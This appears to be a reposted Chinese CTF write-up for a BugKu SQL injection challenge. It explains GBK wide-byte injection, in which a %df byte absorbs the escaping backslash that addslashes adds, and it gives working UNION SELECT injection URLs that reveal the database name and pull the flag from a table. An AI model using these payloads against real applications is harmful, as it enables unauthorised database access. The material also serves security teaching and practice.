BugKuCTF---sql注入Writeup
程序员文章站
2022-03-09 22:28:50
...
我的博客 Marsguest’s BLog
BugKuCTF—sql注入Writeup
原题地址 http://103.238.227.13:10083/
首先构造链接
http://103.238.227.13:10083/?id=1'
发现存在过滤,页面没什么反应。右键源文件,发现编码规则GB-2312,猜测为mysql宽字节注入
简单讲解什么是宽字节注入:
1.服务器在GET到前端发来的数据后,通过php的addslashes,mysql_real_escape_string,mysql_escape_string等函数,能够对特定的字符进行过滤,在它的前面添加转义字符,从而使得之后拼接sql语句时,这些特定的字符失效.
过滤的字符包括
(1) ASCII(NULL)字符\x00,
(2) 换行字符\n,addslashes不转义
(3) 回车字符\r,addslashes不转义
(4) 反斜杠字符\,
(5) 单引号字符',
(6) 双引号字",
(7) \x1a,addslashes不转义
2.mysql在使用GBK编码的时候,会认为两个字符为一个汉字,当我们将注入连接写成
http://103.238.227.13:10083/?id=1%df'
%df’ 传到后台php处理后变成%df\’,此时,%df\’对应的编码就是%df%5c’,即汉字“運’”(注意这个汉字后面的单引号还在),这样就相当于将php用于过滤而加上的转义字符 \ 吞掉了,从而实现过滤的绕过.
继续之前的题,利用宽字节注入构造注入POC,爆库名
http://103.238.227.13:10083/?id=1%df' union select 1,database() %23
这里%23是字符#,mysql中的注释专用字符,将后面的引号注释掉
发现数据库sql5,之后根据提示构造POC得到flag
http://103.238.227.13:10083/?id=1%df' union select 1,string from sql5.key %23
推荐阅读
-
在net Core3.1上基于winform实现依赖注入实例
-
Ioc依赖注入:Unity4.0.1 在项目中的应用 (MVC和API)
-
想起Wall-E?皮克斯前设计师给机器人注入性格
-
构建ASP.NET MVC4+EF5+EasyUI+Unity2.x注入的后台管理系统(24)-权限管理系统-将权限授权给角色
-
AngularJS的依赖注入实例分析(使用module和injector)
-
基于SpringBoot构造器注入循环依赖及解决方式
-
简单聊聊SQL注入的原理以及一般步骤
-
php防止sql注入简单分析
-
net core WebApi——依赖注入Autofac
-
原创001 | 搭上SpringBoot自动注入源码分析专车